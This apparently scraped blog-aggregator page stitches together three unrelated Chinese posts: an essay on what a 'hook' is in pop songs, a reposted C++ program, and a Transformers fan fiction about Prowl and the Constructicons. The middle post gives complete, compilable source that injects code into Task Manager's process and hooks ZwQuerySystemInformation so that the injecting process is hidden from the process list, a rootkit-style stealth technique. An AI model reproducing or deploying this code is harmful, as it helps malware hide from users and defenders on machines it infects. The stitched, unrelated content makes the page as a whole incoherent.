现在再回到题目,你会发现Hook和以上这些有性质上的区别,不是所有歌都有hook,它并不是一首歌的固有构成部分,不是那么的“必要”,它可能在一首歌的任何位置上,开头结尾或穿插在歌中。确实有一些歌的hook就是指chorus这部分,因此这也是为什么很多人把hook当作副歌的原因(比如britney《till the world ends》的hook:I can take it take it no more…oooooooh接在verse1 verse2后面,正好是副歌的位置,p.s. 这首格式很清晰verse2-hook后有bridge:See the sunlights…keep on dancing till the world ends,然后再次切入了hook,ooooooh,即verse1-hook-verse2-hook-bridge-hook-bridge-hook-bridge,有趣的是结尾又重复了一次bridge)。不同的是,有的副歌可能会比较长,而hook通常会短一些,没有复杂的歌词。hook最大特点就是catchy,一般是在歌曲中重复次数多最多的部分,听起来非常舒服,也是听过后最容易想起的一部分,这样说相信很多人就有切身感受了。Hook可以是一段歌词(Nicki《superbass》的短促副歌Boy you got my heartbeat running away…boomboomboom,FUN《We Are Young》tonigh~~t we are youn~g~…,Madonna《Vogue》come on vogue…),或者神经地重复一句词(Ariana《Problem》I got one less problem without you*n,Rihanna《We Found Love》we found love in a hopeless place*n,还有她的《Diamonds》Shine right like a diamomd~*n,《Poker Face》Cant read my…*n)念叨着几个词(Rihanna《Unbrella》Under my unbrella ella ella eh eh…,某kingofpop《beat it》Just beat it beat it beat it…),重复一个词(还是ga《Alejandro》alejandro alejandro,ale alejandro,然后下一个例子容我先鞠一躬Nirvana《Come as you are》An old memoria memoria memoria…),(甚至乱吼一通(Ladygaga《Bad Romance》ohhhh…ra-ra-ahahah…ga-ga-oohlala,《Judas》 ),甚至是旋律和鼓点(某胖《Rolling in the deep》我觉得它的hook是辨识度超高且舒服的鼓点,ga《just dance》前奏那段电子合成器声!,后面也一直出现在副歌里,这种我觉得也算是hook),也有很多没有hook的歌(folk country什么的就比较少有)。
hook就是最抓耳最印象化的部分,比如我上面举出来的例子(我尽可能地大众化了😪),如果你听过,那么那些部分一定是你立刻联想到的,也就是印象最深刻的部分,甚至成了一首歌的标志,这就是hook,hook与歌曲的联系是非常自然的——像《we can't stop》与la da di da di,《tik tok》与ohwoahohhohh这种联系一样紧密而自然。说是旋律化也好(Moves like jagger的口哨)节奏化也好(TTWE的woah oh oh oh oh oh ohoh)或者二者兼有(BR的ooooooh…gaga oh la la),hook永远是最突出的部分。
Hook对歌的影响越来越明显,它起初只是pop的一个梗,随着rap的pop化,现在hook也经常出现在说唱里,也常常有说唱歌手跨界邀请别人来feat来扩大说唱的受众,比较常见就是抓来R&B歌手,比如《love the way you lie》Rihanna part全曲不停重复,像这种就算你完全不记得说唱写的多么出彩,相信你也能哼出rihanna旋律清晰的部分。这相当程度上满足了流行化的需要,也为歌曲上榜乃至大卖创造了条件,毕竟流行才有市场。同时期成绩也很好的的《Nothin' on you》甚至捧起了前去feat的Bruno Marz。类似这种模式的歌有很多:仿制LTWYL模式的《the Monster》其实chorus结束后的wohoo更有有趣;也很类似的《lighters》Bad Meets Evil (ft.Bruno Mars);印象深刻的I'm about to lose my mind…I need a doctor to bring me back to life《I need a doctor》Dr.Dre(ft.Eminem&Skylar Grey)p.s.这位grey是LTWYL的作者;其实Eminem自己完成的spacebound也有这种意味。(个人觉得某west和某ocean还不错。其实这类我听得少,所以举的都是feat的例子,但是事实上很多rapper本身在写词的时候是会考虑加入说唱部分的hook的,但是因为真正听的人不多加上我也听不太懂就不乱举例。而且现在一些hiphop什么的正在往pop上靠也是事实,nicki&iggy 都是好例子。)
以上就是全部,hook绝不是副歌!只有我讲的这些还不够,还需要你大量的听当你知道它到底是什么的时候,你会更清楚大部分的歌到底是为什么能如此吸引你,不过永远有极少部分怪物你看不懂(BR👾)。也有的人说hook就是大量重复的洗脑式chorus,这点在舞曲的chorus上比较明显。无法否认hook和商业是绝对挂钩的,就是这玩意让大众掏出钱来创造销量。不过我仍不这么认为,大量重复就达到好的效果并不像说的那么容易,洗脑这种东西也不是说洗就洗的。

p.s.补充其他名词解释
Intro,字面含义,就是歌曲像引子般的一部分,有时候是几句歌有时候是念白(Madonna《like a prayer》开头life is a mistery…feel like home;ladygaga《Alejandro》I know that we are young…)有时候专辑中第一首也起这种引子的作用(Rihanna《Rated R》第一首Mad House就是welcome to my album 的效果),同时也有很多专辑第一首甚至就起名叫Intro(比如近期的有Ariana Grenede《My Everything》的第一首)。相应的也有Outro,与Intro正好相反。(ladygaga《Born This Way》结尾 same DNA but born this way…)
p.p.s.有时候chorus前会有pro-chorus也是字面意思,像小型bridge。还是拿《Bad Romance》来说,中间的You know that I want you…I want it bad a bad romance. (为何BR如此伟大)
p.p.p.s.唯心主义者请向后转,我写这么多不是为了听你说“我觉得只要好听就行呗~”这种话的。(虽然那也没什么错。)

happyboy200032的博客

[转]hook ZwQuerySystemInformation 隐藏进程

该程序用vs2010编译通过。编译时选择release版本。 
 
该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。 
 
[cpp] view plaincopy 
// HideProcess.cpp : Defines the entry point for the console application. 
// 
 
#include ...

该程序用vs2010编译通过。编译时选择release版本。 
 
该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。 
 
[cpp] view plaincopy 
// HideProcess.cpp : Defines the entry point for the console application. 
// 
 
#include "stdafx.h" 
#include <conio.h> 
//#include <fstream.h> 
 
typedef LONG NTSTATUS; 
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
 
typedef enum _SYSTEM_INFORMATION_CLASS 

    SystemBasicInformation,              // 0        Y        N 
    SystemProcessorInformation,          // 1        Y        N 
    SystemPerformanceInformation,        // 2        Y        N 
    SystemTimeOfDayInformation,          // 3        Y        N 
    SystemNotImplemented1,               // 4        Y        N 
    SystemProcessesAndThreadsInformation, // 5       Y        N 
    SystemCallCounts,                    // 6        Y        N 
    SystemConfigurationInformation,      // 7        Y        N 
    SystemProcessorTimes,                // 8        Y        N 
    SystemGlobalFlag,                    // 9        Y        Y 
    SystemNotImplemented2,               // 10       Y        N 
    SystemModuleInformation,             // 11       Y        N 
    SystemLockInformation,               // 12       Y        N 
    SystemNotImplemented3,               // 13       Y        N 
    SystemNotImplemented4,               // 14       Y        N 
    SystemNotImplemented5,               // 15       Y        N 
    SystemHandleInformation,             // 16       Y        N 
    SystemObjectInformation,             // 17       Y        N 
    SystemPagefileInformation,           // 18       Y        N 
    SystemInstructionEmulationCounts,    // 19       Y        N 
    SystemInvalidInfoClass1,             // 20 
    SystemCacheInformation,              // 21       Y        Y 
    SystemPoolTagInformation,            // 22       Y        N 
    SystemProcessorStatistics,           // 23       Y        N 
    SystemDpcInformation,                // 24       Y        Y 
    SystemNotImplemented6,               // 25       Y        N 
    SystemLoadImage,                     // 26       N        Y 
    SystemUnloadImage,                   // 27       N        Y 
    SystemTimeAdjustment,                // 28       Y        Y 
    SystemNotImplemented7,               // 29       Y        N 
    SystemNotImplemented8,               // 30       Y        N 
    SystemNotImplemented9,               // 31       Y        N 
    SystemCrashDumpInformation,          // 32       Y        N 
    SystemExceptionInformation,          // 33       Y        N 
    SystemCrashDumpStateInformation,     // 34       Y        Y/N 
    SystemKernelDebuggerInformation,     // 35       Y        N 
    SystemContextSwitchInformation,      // 36       Y        N 
    SystemRegistryQuotaInformation,      // 37       Y        Y 
    SystemLoadAndCallImage,              // 38       N        Y 
    SystemPrioritySeparation,            // 39       N        Y 
    SystemNotImplemented10,              // 40       Y        N 
    SystemNotImplemented11,              // 41       Y        N 
    SystemInvalidInfoClass2,             // 42 
    SystemInvalidInfoClass3,             // 43 
    SystemTimeZoneInformation,           // 44       Y        N 
    SystemLookasideInformation,          // 45       Y        N 
    SystemSetTimeSlipEvent,              // 46       N        Y 
    SystemCreateSession,                 // 47       N        Y 
    SystemDeleteSession,                 // 48       N        Y 
    SystemInvalidInfoClass4,             // 49 
    SystemRangeStartInformation,         // 50       Y        N 
    SystemVerifierInformation,           // 51       Y        Y 
    SystemAddVerifier,                   // 52       N        Y 
    SystemSessionProcessesInformation    // 53       Y        N 
} SYSTEM_INFORMATION_CLASS; 
 
typedef struct _CLIENT_ID 

    HANDLE UniqueProcess; 
    HANDLE UniqueThread; 
} CLIENT_ID, *PCLIENT_ID; 
 
typedef struct 

    USHORT Length; 
    USHORT MaxLen; 
    USHORT *Buffer; 
} UNICODE_STRING, *PUNICODE_STRING; 
 
typedef struct _OBJECT_ATTRIBUTES 

    ULONG Length; 
    HANDLE RootDirectory; 
    PUNICODE_STRING ObjectName; 
    ULONG Attributes; 
    PVOID SecurityDescriptor; 
    PVOID SecurityQualityOfService; 
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 
 
typedef struct _IO_COUNTERSEX 

    LARGE_INTEGER ReadOperationCount; 
    LARGE_INTEGER WriteOperationCount; 
    LARGE_INTEGER OtherOperationCount; 
    LARGE_INTEGER ReadTransferCount; 
    LARGE_INTEGER WriteTransferCount; 
    LARGE_INTEGER OtherTransferCount; 
} IO_COUNTERSEX, *PIO_COUNTERSEX; 
 
typedef enum 

    StateInitialized, 
    StateReady, 
    StateRunning, 
    StateStandby, 
    StateTerminated, 
    StateWait, 
    StateTransition, 
    StateUnknown 
} THREAD_STATE; 
 
typedef struct _VM_COUNTERS 

    SIZE_T PeakVirtualSize; 
    SIZE_T VirtualSize; 
    ULONG PageFaultCount; 
    SIZE_T PeakWorkingSetSize; 
    SIZE_T WorkingSetSize; 
    SIZE_T QuotaPeakPagedPoolUsage; 
    SIZE_T QuotaPagedPoolUsage; 
    SIZE_T QuotaPeakNonPagedPoolUsage; 
    SIZE_T QuotaNonPagedPoolUsage; 
    SIZE_T PagefileUsage; 
    SIZE_T PeakPagefileUsage; 
} VM_COUNTERS; 
typedef VM_COUNTERS *PVM_COUNTERS; 
 
typedef struct _SYSTEM_THREADS 

    LARGE_INTEGER KernelTime; 
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER CreateTime; 
    ULONG WaitTime; 
    PVOID StartAddress; 
    CLIENT_ID ClientId; 
    ULONG Priority; 
    ULONG BasePriority; 
    ULONG ContextSwitchCount; 
    THREAD_STATE State; 
    ULONG WaitReason; 
} SYSTEM_THREADS, *PSYSTEM_THREADS; 
 
typedef struct _SYSTEM_PROCESSES   // Information Class 5 

    ULONG NextEntryDelta; 
    ULONG ThreadCount; 
    ULONG Reserved1[6]; 
    LARGE_INTEGER CreateTime; 
    LARGE_INTEGER UserTime; 
    LARGE_INTEGER KernelTime; 
    UNICODE_STRING ProcessName; 
    ULONG BasePriority; 
    ULONG ProcessId; 
    ULONG InheritedFromProcessId; 
    ULONG HandleCount; 
    ULONG Reserved2[2]; 
    VM_COUNTERS VmCounters; 
    IO_COUNTERSEX IoCounters;  // Windows 2000 only 
    SYSTEM_THREADS Threads[1]; 
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; 
 
 
typedef 
NTSTATUS 
(NTAPI *ZWQUERYSYSTEMINFORMATION)( 
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
    OUT PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength OPTIONAL 
); 
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); 
 
PVOID g_lpRemoteAllocBase; 
 
DWORD GetFunAddress(PUCHAR lpFunStart) 

    DWORD dwFunAddress; 
    if (*lpFunStart == 0xE9) 
    { 
        //在Debug版本里VC会做一个跳转 
        dwFunAddress = (DWORD)lpFunStart + *(DWORD *)(lpFunStart + 1) + 5; 
    } 
    else 
    { 
        dwFunAddress = (DWORD)lpFunStart; 
    } 
    return dwFunAddress; 

 
__declspec (naked) VOID FunStart() 

    _asm 
    { 
        nop 
        nop 
    } 
};//定义函数开始的位置 release版本 没用 
 
__declspec (naked) VOID ZwQuerySystemInformationProxy() 

    //这里备份五个字节就可以了的因为Zwxx的函数格式原因这里固定都是5个字节 
    _asm 
    { 
        nop 
        nop 
        nop 
        nop 
        nop 
        mov ebx, 0x88888888 //ZwQuerySystemInformation  方便特征定位 
        add ebx, 5 
        jmp ebx 
    } 

 
NTSTATUS 
NTAPI 
ZwQuerySystemInformationCallback( 
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
    OUT PVOID SystemInformation, 
    IN ULONG SystemInformationLength, 
    OUT PULONG ReturnLength OPTIONAL 


    NTSTATUS ntStatus; 
    PSYSTEM_PROCESSES pSystemProcesses = NULL, Prev; 
 
    _asm 
    { 
        push ebx 
        push ReturnLength 
        push SystemInformationLength 
        push SystemInformation 
        push SystemInformationClass 
        call ZwQuerySystemInformationProxy //让原来函数执行完成,只有这样函数才能返回我们需要的数据然后在数据里进行修改 
        mov ntStatus, eax 
        pop ebx 
    } 
 
    if (NT_SUCCESS(ntStatus) && SystemInformationClass == SystemProcessesAndThreadsInformation) 
    { 
        pSystemProcesses = (PSYSTEM_PROCESSES)SystemInformation; 
        while (TRUE) 
        { 
            if (pSystemProcesses->ProcessId == 0x12345678) //如果是我们需要隐藏的PID就进行数据修改 
                //0x12345678 在注入的时候,将会被替换为注入程序进程的PID 
            { 
                if (pSystemProcesses->NextEntryDelta) 
                { 
                    //当我们需要隐藏的进程后面还有进程时 
                    //越过我们自己进程让NextEntryDelta直接指向下一个数据块 
                    Prev->NextEntryDelta += pSystemProcesses->NextEntryDelta; 
                } 
                else 
                { 
                    //当我们进程处于最后一个数据那么我们就把上一个数据结构的NextEntryDelta置0 
                    //这时系统在遍历我们进程时就不会发现了 
                    Prev->NextEntryDelta = 0; 
                } 
                break;//多个PID比较时候,这里千万要去掉!!! 
            } 
            if (!pSystemProcesses->NextEntryDelta) break; 
            Prev = pSystemProcesses; 
            pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta); 
        } 
    } 
    return ntStatus; 

 
__declspec (naked) VOID FunEnd() 

    _asm {nop} 
};//定义函数结束的位置 
 
BOOLEAN SetHook(DWORD dwProcessId, DWORD dwHideId) //参数1注入的目标进程ID 参数2当前进程ID 

    BOOLEAN bRet = FALSE; 
    DWORD OldProtect; 
    DWORD dwCodeStart, dwCodeEnd, dwCodeSize; 
    BYTE HookCode[5] = {0xE9, 0, 0, 0, 0}; 
    HANDLE hProcess = NULL; 
    PVOID RemoteAllocBase = NULL; 
    DWORD dwFunAddress; 
    PUCHAR pBuffer; 
    dwCodeStart = GetFunAddress((PUCHAR)ZwQuerySystemInformationProxy); 
    dwCodeEnd = GetFunAddress((PUCHAR)FunEnd); 
    dwCodeSize = dwCodeEnd - dwCodeStart; //需要注入代码的长度 
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 
                           FALSE, 
                           dwProcessId 
                          );//打开目标进程 
 
    if (hProcess) 
    { 
 
        RemoteAllocBase = VirtualAllocEx(hProcess, 
                                         NULL, 
                                         dwCodeSize, 
                                         MEM_COMMIT, 
                                         PAGE_EXECUTE_READWRITE 
                                        );//申请内存地址 
 
        if (RemoteAllocBase) 
        { 
            printf("\t申请内存地址:0x%x\n", RemoteAllocBase); 
            g_lpRemoteAllocBase = RemoteAllocBase; 
            if (ZwQuerySystemInformation) 
            { 
                bRet = VirtualProtect((PVOID)dwCodeStart, 
                                      dwCodeSize, 
                                      PAGE_EXECUTE_READWRITE, 
                                      &OldProtect 
                                     );//打开内存保护 
                if (bRet) 
                { 
                    memcpy((PVOID)dwCodeStart, ZwQuerySystemInformation, 5); //这里可以在本进程中取备份代码也可以在远程进程中取一般正常情况是一样的 
                    *(DWORD *)(dwCodeStart + 6) = (DWORD)ZwQuerySystemInformation; //这里不需要用特征定位,因为肯定是在第六个字节开始的地方 
                    *HookCode = 0xE9; 
                    dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback); 
                    dwFunAddress -= dwCodeStart; 
                    dwFunAddress += (DWORD)RemoteAllocBase; //计算ZwQuerySystemInformationCallback在目标进程中的地址 
                    printf("\tZwQuerySystemInformationCallback内存地址:0x%x\n", dwFunAddress); 
                    *(DWORD *)&HookCode[1] = dwFunAddress - 5 - (DWORD)ZwQuerySystemInformation; 
 
                    dwFunAddress = GetFunAddress((PUCHAR)ZwQuerySystemInformationCallback); 
                    for (pBuffer = (PUCHAR)dwFunAddress; //自定义回调函数的起始位置 
                            //pBuffer<(PUCHAR)dwFunAddress+(dwCodeEnd-dwFunAddress);//自定义回调函数的结束位置 
                            pBuffer < (PUCHAR)dwCodeEnd; 
                            pBuffer++ 
                        ) 
                    { 
                        if (*(DWORD *)pBuffer == 0x12345678) 
                        { 
                            *(DWORD *)pBuffer = dwHideId;//注入进程的PID 
                            printf("\t成功找到目标,并替换,注入进程的PID:0x%x\n", dwHideId); 
                            //break;//release版本可能有2个0*12345678 
                        } 
                    } 
                    VirtualProtect((PVOID)dwCodeStart, 
                                   dwCodeSize, 
                                   PAGE_EXECUTE_READWRITE, 
                                   &OldProtect 
                                  ); 
                } 
            } 
            bRet = WriteProcessMemory(hProcess, 
                                      RemoteAllocBase, 
                                      (PVOID)dwCodeStart, 
                                      dwCodeSize, 
                                      NULL 
                                     ); 
            if (bRet) 
            { 
                bRet = WriteProcessMemory(hProcess, 
                                          ZwQuerySystemInformation, 
                                          HookCode, 
                                          5, 
                                          NULL 
                                         ); 
            } 
        } 
        CloseHandle(hProcess); 
    } 
    return bRet; 

 
BOOLEAN UnHook(DWORD dwProcessId) 

    HANDLE hProcess = NULL; 
    BOOLEAN bRet = FALSE; 
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, 
                           FALSE, 
                           dwProcessId 
                          ); 
 
    if (hProcess) 
    { 
        bRet = WriteProcessMemory(hProcess, 
                                  ZwQuerySystemInformation, 
                                  g_lpRemoteAllocBase, 
                                  5, 
                                  NULL 
                                 ); 
        /*VirtualFreeEx(hProcess, 
                      g_lpRemoteAllocBase, 
                      0, 
                      MEM_RELEASE 
                      );*/ //这里需要注意不能释放申请的内存,因为有可能你释放完成时函数正好调用完毕返回在你释放的内存中,这时就会造成目标程序崩溃 
    } 
    return bRet; 

 
 
DWORD GetTaskMgrId() 

    NTSTATUS ntStatus; 
    ULONG i = 1; 
    PVOID pBuffer = NULL; 
    ULONG ReturnLength = 0; 
    PSYSTEM_PROCESSES pSystemProcesses = NULL; 
    char szProcName[256]; 
    DWORD dwProcessId = -1; 
 
    do 
    { 
        if (ReturnLength) 
            pBuffer = new BYTE[ReturnLength]; 
        else 
            pBuffer = new BYTE[i * 0x1000]; 
        if (pBuffer) 
        { 
            ntStatus = ZwQuerySystemInformation(SystemProcessesAndThreadsInformation, 
                                                pBuffer, 
                                                ReturnLength == 0 ? i * 0x1000 : ReturnLength, 
                                                &ReturnLength 
                                               ); 
            if (NT_SUCCESS(ntStatus)) 
            { 
                break; 
            } 
            else if (ntStatus == STATUS_INFO_LENGTH_MISMATCH) 
            { 
                delete []pBuffer; 
                pBuffer = NULL; 
            } 
            i++; 
        } 
        else 
        { 
            break; 
        } 
    } 
    while(ntStatus == STATUS_INFO_LENGTH_MISMATCH); 
 
    if (pBuffer) 
    { 
        pSystemProcesses = (PSYSTEM_PROCESSES)pBuffer; 
        while (TRUE) 
        { 
            if (pSystemProcesses->ProcessName.Buffer) 
            { 
                memset(szProcName, 0, 256); 
                wsprintf(szProcName, "%S", pSystemProcesses->ProcessName.Buffer); 
                if (strnicmp(szProcName, "zw2.exe", strlen("zw2.exe")) == 0) 
                    //if (strnicmp(szProcName,"Taskmgr.exe",strlen("Taskmgr.exe"))==0) 
                { 
                    dwProcessId = pSystemProcesses->ProcessId; 
                    break; 
                } 
            } 
            if (!pSystemProcesses->NextEntryDelta) break; 
            pSystemProcesses = (PSYSTEM_PROCESSES)((char *)pSystemProcesses + pSystemProcesses->NextEntryDelta); 
        } 
        delete []pBuffer; 
    } 
    return dwProcessId; 

 
int main(int argc, char *argv[]) 

    DWORD dwTaskMgrId = GetTaskMgrId(); 
    int i; 
    if (dwTaskMgrId != -1) 
    { 
        if (SetHook(dwTaskMgrId, GetCurrentProcessId())) 
        { 
            printf("\t请按 \"c\" 或者 \"C\" 键退出程序\r\n"); 
            while (TRUE) 
            { 
                Sleep(10); 
                i = getch(); 
                if (i == 'c' || i == 'C') 
                    break; 
            } 
            UnHook(dwTaskMgrId); 
        } 
        else 
        { 
            printf("\t安装Hook失败...\r\n"); 
        } 
    } 
    else 
    { 
        printf("\t目前还没有发现 TaskMgr.exe 处于运行中...\r\n"); 
    } 
    return 0; 

 

Cat of Tindalos

[IDW]礼物 警车X挖地虎,阿尔茜向你问好 by缅茄之猫

警车转过最后一个墙角,在看到自己舱门前的景象时气得光学镜都快过载了。他和挖地虎们建立的中央处理器链接和共享/共感系统能让他了解对方的位置(是的,位置而不是位置们,那些傻大个儿总会扎堆在一起),他也感受到了挖地虎们一直在周围不远的地方,但他没想到这些家伙居然堆在自己的门口,似乎正要鬼鬼祟祟地干什么。


“拖斗!”警车怒气冲冲地喊了一声,让正准备开门的挖地虎一抖,指尖在门上滑出泚啦一声尖利的摩擦音。他们六个都为这声音瑟缩了一下,当然挖地虎们更可能是因为警车突然的出现。拖斗转过身来,护目镜和口罩让警车不太能看清他的表情,但他能感受到对方的紧张,无措和一点羞涩。


“啊...

警车转过最后一个墙角,在看到自己舱门前的景象时气得光学镜都快过载了。他和挖地虎们建立的中央处理器链接和共享/共感系统能让他了解对方的位置(是的,位置而不是位置们,那些傻大个儿总会扎堆在一起),他也感受到了挖地虎们一直在周围不远的地方,但他没想到这些家伙居然堆在自己的门口,似乎正要鬼鬼祟祟地干什么。

 

“拖斗!”警车怒气冲冲地喊了一声,让正准备开门的挖地虎一抖,指尖在门上滑出泚啦一声尖利的摩擦音。他们六个都为这声音瑟缩了一下,当然挖地虎们更可能是因为警车突然的出现。拖斗转过身来,护目镜和口罩让警车不太能看清他的表情,但他能感受到对方的紧张,无措和一点羞涩。

 

“啊!警车,你在这里…不我是说你回来了,欢迎回来…”拖斗的声音被后面谁梆地敲头的一下打断,他捂着脑袋很委屈地缩了缩肩膀,露出站在他后面的吊钩和其他人。搅拌机正和清扫机窃窃私语着,推土机往他们两个里面挤。“咦不是算好了警车还有半个循环…”“闭嘴你这蠢货!他现在就在这儿!你以为我们来干啥…”“可是我以为我们是要让警车…”

 

吊钩很大声地咳了一声,让后面的三个蠢货(加上现在抱着头,像被踩尾巴的机械狐一样缩进走道角落的拖斗四个)安静下来。他试着做出混合着轻松和偶遇的表情:

 

“啊,警车。我们正要给你送件东西。本来准备放在门口就走的。”

 

警车狠狠地盯着吊钩,直到他也不自在地退了半步,和其他人缩成绿紫色的一大团。“那就放过我的门锁。这不是第一次我发现有人进我的房间了,而之前每一次,我都知道是你们!”他挥手砸在自己的门上,声音在空旷的走廊里传出挺远。“我很好我不需要能量和陪伴也不用人来帮忙整理数据板谢谢你们,现在离开我的视线!”

 

推土机露出的像石油兔子一样的眼神一定是他的错觉。警车哼了一声,推了推那团东西,转身准备输密码。

 

“你把东西拿进去吧,里面是…我们放在门边上了祝你今天愉快。”

 

警车凌厉的眼神扫过来,吊钩带着挖地虎们飞快地溜走了。

 

===========================================================================

 

警车靠在门板上,用手臂遮住光学镜。他最终还是把那个包得很有挖地虎风格(表面有不少微小的凹痕和掉漆处,里面塞得很结实,听不出什么声音)的包裹拖了进来,但那在他现在面临的问题中排的顺位最多是第二。他望着堆满办公桌的数据板,那些调动申请,常规报告和任务标准手续文件。以前这都是能给他带来慰藉的东西,申请不符合规定的驳回,报告阅读整理归档,手续文件按操作处理。这些步骤严格遵循着他的逻辑和规则,是让他感到有安全感,在军阶模糊而人芯愈加叵测的汽车人中自保的唯一手段。

 

现在他被威震天那个该死一万次的暴君强制与挖地虎们身芯彻底融合,光要和他们保持物理/精神双重意义上的安全距离就让警车精疲力竭。但融合又是真实存在的。他不得不花时间和挖地虎们处理关系,感觉和他们太疏远、对他们太凶时就去找他们聊聊或补充点能量,在他们小芯翼翼地帮他解决他从没向任何人提起的麻烦时也只得不情不愿地表示感激。他知道自己在挖地虎芯中的形象(他们六人之间谁对彼此的了解不是原子级别的呢),反复无常,蛮不讲理甚至到了有些矫揉造作的地步。他也不希望这情况有什么变化,只要塞伯坦还每日按轨迹走向更好的未来,而他还保持着自持和他所重视的一切,他就能一直这样下去…

 

大概是这样吧。警车不断试图催眠着自己,却没法像以往一样立即扑到工作上忘掉所有的难处。他能感觉到挖地虎们还在不远处,而他们对他精神的影响-他愿意承认与否-是无法消除的。他开始对他们有令人不齿的期待,绿紫相间的涂漆和粗犷却坚实的怀抱似乎成了数据板和模拟器之外另一个令他能短暂地放松的存在。从令人恼怒的办公室争端中走出门时总有几个人在那里等他,连续几十个循环处理数据直到低能量时也总会有汽车人伙伴来给他送能量。他们足够明智,也足够厌恶这份补给的提供者和接受者,因而什么都不会说。但他知道这背后是谁的请求。

 

外面隐隐约约地嘈杂起来,伴随着金属击打的声响和抑制着的叫声。这让警车更焦躁了,他两只手的手指紧紧掐入自己对侧手臂上的金属蒙皮,最终顺着门一点一点滑下来,几乎跌坐在地面。他低着头,视线落在那个包裹上。

 

“打开它。”头顶传来一个柔和的声音。警车没有动。他听着那声音从嘈杂的发源地过来,一路上几乎没有隐藏行踪的打算。最好也是这样,阿尔茜第一次用这种方式出现在警车舱室的通风管口时他狂怒(而略带惊吓)地直接把枪架在了她的脖子上,忽略掉她的剑根本就已经捅穿了自己的手臂。后来他们两个倒是达成了沉默的一致,在对他们而言算不上和睦的汽车人阵营里保持着比普通战友更亲密一点的关系。阿尔茜也是为数不多的能看到警车丢掉面具的人之一。不,那群绿色的傻大个才不算在里面。

 

“你又知道什么了。”警车的声音里泄漏了比自己预想的要多的不满和挫败。影子一样的美艳女性从通风口里更多地探出身子,警车能感到她的移动在自己头顶带动起气流。

 

“在走廊里碰上了你的亲卫队,和他们好好交流了一番。”阿尔茜亲吻了一下手中还在发热的剑柄。“能让几个挖地虎求我可是一件有趣的事。”

 

阿尔茜的暗示让警车沉思了一瞬,然后怒气的火花一下就又燎着了电路。警车蹭地站起来,诅咒着去拉门手柄:“那群该死的绿疙瘩又说什么了?!每天只会咋咋呼呼惹祸,不该操芯的事情穷操芯…”

 

燃烧的能量剑唰地从警车指尖和门手柄间极窄的距离划过,让警车咝咝地吸着气收回手。阿尔茜从天花板上跳下来,仍然站在警车背后他看不见的地方。

 

“你还觉得他们的担芯是毫无道理的吗。”阿尔茜的声音非常难得地带上了一丝无奈。“看看你现在的状况。你就是他们的首领和核芯,他们对你的关芯是发自内芯的,而你的焦虑也会完全反映在他们的处理器里。”

 

警车垂下手臂。阿尔茜和他相距颇近的机体间蔓延开尴尬的沉默,当警车再开口时,声音的不稳定连他自己都没法逃避。

 

“组合体的事情我自己处理。”警车忿忿地扔下一句,又去拉门,但阿尔茜在后面伸手摸住了他的腰,让他条件反射地抖了一下。

 

“我和女孩们1谈过了。”阿尔茜的声音更近了些,感觉几乎是贴在警车背上。“我的确不知道,也没法知道和其他人精神共享是什么感觉。但我能想象,想象那种不用再去费力隐藏自己的一切,以及总会有人在你真正需要的时候从不背叛的感觉。或许你一开始不会去追寻这种关系,认为它让你变得软弱。”相对纤细却绝对致命的指尖一路游离到警车的后颈,在他惊得一颤的时候却又移开了,转而安慰地抚摸警车永远绷得太紧的双肩。“但它找到了你,现在你和他们是一体的,而他们给了你绝对的主导权。这种信任足够了。”

 

警车安静地握住阿尔茜的手,转过身来面对比他矮一些的女性。她目光炽炽地盯着他,然后那里面浮现出更多女性特色的忧愁和关切。咔嚓地一声剑刃入鞘,她用另一只手覆在警车微微颤抖的手背上。

 

“那是我们这种人需要的东西。”

 

“去找他们吧。”

 

警车短暂地关闭了光学镜。当他刷新它们再开启的时候,阿尔茜已经不在了。

 

===========================================================================

 

警车站在门口清了清嗓子,聚成一团窃窃私语的挖地虎们抬起头来,在看到他的时候整齐地僵住了。清扫机和搅拌机不知道是要一起站起来还是分头溜开去,结果是脑袋结结实实地撞在了一起。推土机则完全是一副彻底死机的表情,停在半空中的左手保持着一个奇怪的姿态。拖斗发出细小而短促的抽气声,发现自己离门口(和在那里站着的警车)最近,连头都不敢扭一下。只有吊钩在冻住几秒后反应过来,环视一圈神态各异的队友们,最后看着警车。警车觉得自己在他开腔之前隐约听见了一声无奈的叹息。

 

“我们能帮你吗,警车?”吊钩站起来,把推土机完全焊死在他肩上的右手推下去,向警车走过来。警车踌躇地在门口站定不动,机体稍微晃了两下。吊钩敏锐地注意到了这一点,停下来以给警车留出足够的安全距离。但警车还是保持着那个姿势,脸上的表情十分别扭。吊车的关切逐渐变成了紧张,他向前跨一小步伸出手去:

 

“警车?你还好吗,是不是哪里不舒服。你又连续十几个循环工作了吧,疲劳和焦虑我们在链接里都感受得到,我们很担芯…”

 

他突兀地住了嘴,而警车也感受到链接里传来的其他四人激烈的反应。“住嘴啦别提这事警车不喜欢和我们共有一切!…”“你才住嘴他也从这里听得到!这么近的距离…”他只从一瞬间纷乱的信息流中分辨出这么几句。

 

房间里又安静下来,这下吊钩也没法直视警车的光学镜了。他盯着自己的指尖和不远处警车坚韧的腰部曲线,正琢磨着是不是该先道歉再说。这时他听到警车深吸了一口气:

 

“…谢谢你们。”

 

房间里没人再费芯掩饰不解的情绪了。吊钩抬起头来看着警车,后者似乎更加紧张,但却仍尽力一脸严肃地继续说下去,试图让自己的声音显得公事公办。

 

“一直没告诉你们,但你们做的一切我都很喜欢,好意我也领了。同为队友,我本该对你们更坦诚,这一点我实在要反省。我希望…”

 

他不知什么时候低下去的头被吊钩扶住了。对方抬起他的头,在警车挣扎着试图隐藏过热的面部装甲时轻轻地吻在警车的前额上。

 

